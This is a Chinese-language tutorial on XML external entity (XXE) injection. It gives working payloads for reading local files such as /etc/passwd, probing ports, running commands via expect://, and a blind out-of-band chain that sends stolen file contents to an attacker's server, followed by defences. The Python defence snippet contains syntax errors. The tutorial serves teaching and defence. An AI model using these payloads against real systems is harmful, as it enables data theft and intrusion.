XML 实体注入

XML 的文档结构:
  • XML 文档声明,在文档的第一行
  • XML 文档类型定义,即DTD,XXE 漏洞所在的地方
  • XML 文档元素
    在这里插入图片描述

DTD

内部声明 DTD:
<!DOCTYPE 根元素 [元素声明]>

引用外部 DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">

<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">


实体声明

内部声明实体:
<!ENTITY 实体名称 "实体的值">

引用外部实体:
<!ENTITY 实体名称 SYSTEM "URI/URL/协议">

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">


XML 外部引用支持的协议

在这里插入图片描述
对于 PHP:

  • file:可用 file://文件地址,来读取文件
  • http:可以访问 HTTP(S) 网址
  • FTP:访问 FTP
  • PHP:访问各个 输入/输出 流
  • zlib:压缩流
  • data:数据
  • glob:查找匹配的文件格式路径
  • expect:处理交互式的流,可用来执行命令,但需要先安装相应插件

判断是否存在 XML 实体注入

输入框URL的参数中输入一些 XML 标签,如:<username> Have XXE</username>,若页面回显出Have XXE,那么说明这个标签被后台所调用,说明存在 XML 实体注入。

但是有的时候,这些注入点可能不是那么明显,如一些仅适用 JSON 去访问服务的客户端。我们可以通过修改 HTTP 请求,修改 Content-Type 头部字段等方法,然后去查看响应包,查看程序是否解析了发送的内容,如果解析了,则存在 XXE 攻击漏洞。

现实中存在的大多数 XXE 漏洞都是 Blind XXE,即不可见的,必须采用带外通道才能查看返回信息的记录。


XXE 的危害

① 读取任意文件
② 执行系统命令,但需要有 expect 插件
③ 扫描网站的端口以及是否存在某些目录或文件
④ 通过 http 协议发起 SSRF 攻击


XML 实体注入攻击实例

① 读取 txt 格式的文件(file 协议)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
	<!ENTITY test SYSTEM "file:///var/www/html/test.txt">
]>
<c>&test;</c>
  • 第 1 行是一个 XML 文档声明,告诉解析器这是一个 XML 文件。
  • 第 2 - 4 行是 DTD,调用了一个外部实体,将本机 test.txt 文件的内容赋值给实体 test。此处造成了 XML 实体注入攻击。
  • 最后一行是输出实体的值
② 读取 PHP 格式的文件(使用 PHP 协议)

因为 PHP 中有 <?php ?>,当 XML 解析时,遇到 <? 这类的符号时,会将 PHP 当做 XML 去解析,所以会报错,故需要将其进行 base64 编码读出。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
	<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<c>&test</c>

通过 PHP 协议的 filter 输出流读取 PHP,并经过 base64 编码,这样 XML 就不会去解析 PHP 中的 <? ,就不会报错,故可以成功读出 PHP 文件的源码内容。

③ 探测端口是否开启(HTTP 协议)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
	<!ENTITY test SYSTEM "http://127.0.0.1:3306">
]>
<c>&test</c>

根据页面返回的报错信息或内容来判断端口是否开启,可以通过 BurpSuite 抓包来查看。

通过此方法也可以来查看目录或者文件是否存在。

④ 执行命令(expect 协议)

若想执行协议,则需要目标主机上安装了 expect 插件,并且做了相关配置。条件较苛刻,所以比较少见。
同时还有一点需要注意:所执行的命令不允许含有空格

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
	<!ENTITY test SYSTEM "expect://ls">
]>
<c>&test</c>
⑤ Blind XXE

若服务器没有回显,那么只能使用 Blind XXE 来构建一条带外数据 (OOB) 通道来读取数据。

角色:

  • 攻击者:发起攻击
  • 攻击者的服务器:用来获取 被攻击者 服务器上的信息
  • 被攻击者:Web 服务器

思路:

  1. 攻击者发送 XML 给 Web 服务器,该 XML 文件中引用了一个外部实体,详细代码见下。
  2. Web 服务器解析 攻击者 发送的 XML,根据 XML 向 攻击者的服务器 请求获取恶意 DTD
  3. Web 服务器获取到 恶意 DTD 后,根据其内容,带着含有 Web 服务器上的信息去访问 攻击者服务器上的 HTTP 或 FTP
  4. 攻击者可以通过 请求日志 来查看请求的参数来获取信息。
详细代码:

① 攻击者 发送给 被攻击者 Web 服务器的 XML

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
	<!ENTITY % remote SYSTEM http://攻击者的服务器IP/test.xml>
	%remote;
]>

Web 服务器收到这段 XML 代码后就会去解析。根据其外部实体中的 http 协议去攻击者的服务器上去请求 test.xml 文件
有的时候 Web 端可能会解码,所以需要视情况将 XML 代码进行编码后再发送。

② Web 服务器 到 攻击者的服务器 上请求的 test.xml 文件代码

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://攻击者服务器 IP/%payload;'>">
%int;
%trick;

当 Web 服务器请求到 test.xml 文件,并到 Web 服务器上进行解析时,会先通过 file 协议读取到 Web 服务器 (本机) 的 /etc/passwd 文件的内容,并赋给参数实体 %payload

然后再使用 http 协议,携带者刚刚请求得到的 %payload 的内容作为参数,去访问 攻击者的服务器

这样在攻击者的服务器的日志中就会留下相应的请求信息,攻击者就可以通过浏览日志来获取相应的敏感信息。

注:带有 % 的实体是一个参数实体,只有参数实体才能在 DTD 使用,且只能在外部 DTD 中使用。


防御 XML 实体注入

1. 禁用外部实体

不同的语言有不同的禁用方式:
① PHP:
libxml_disable_entity_loader(true);

② JAVA:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

③ Python:

from lxml import etree:
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities = FALSE))
2. 过滤用户提交的 XML 数据

可以过滤一些关键字,如:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC 等。

3. 不允许 XML 含有自己定义的 DTD
  • 6
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值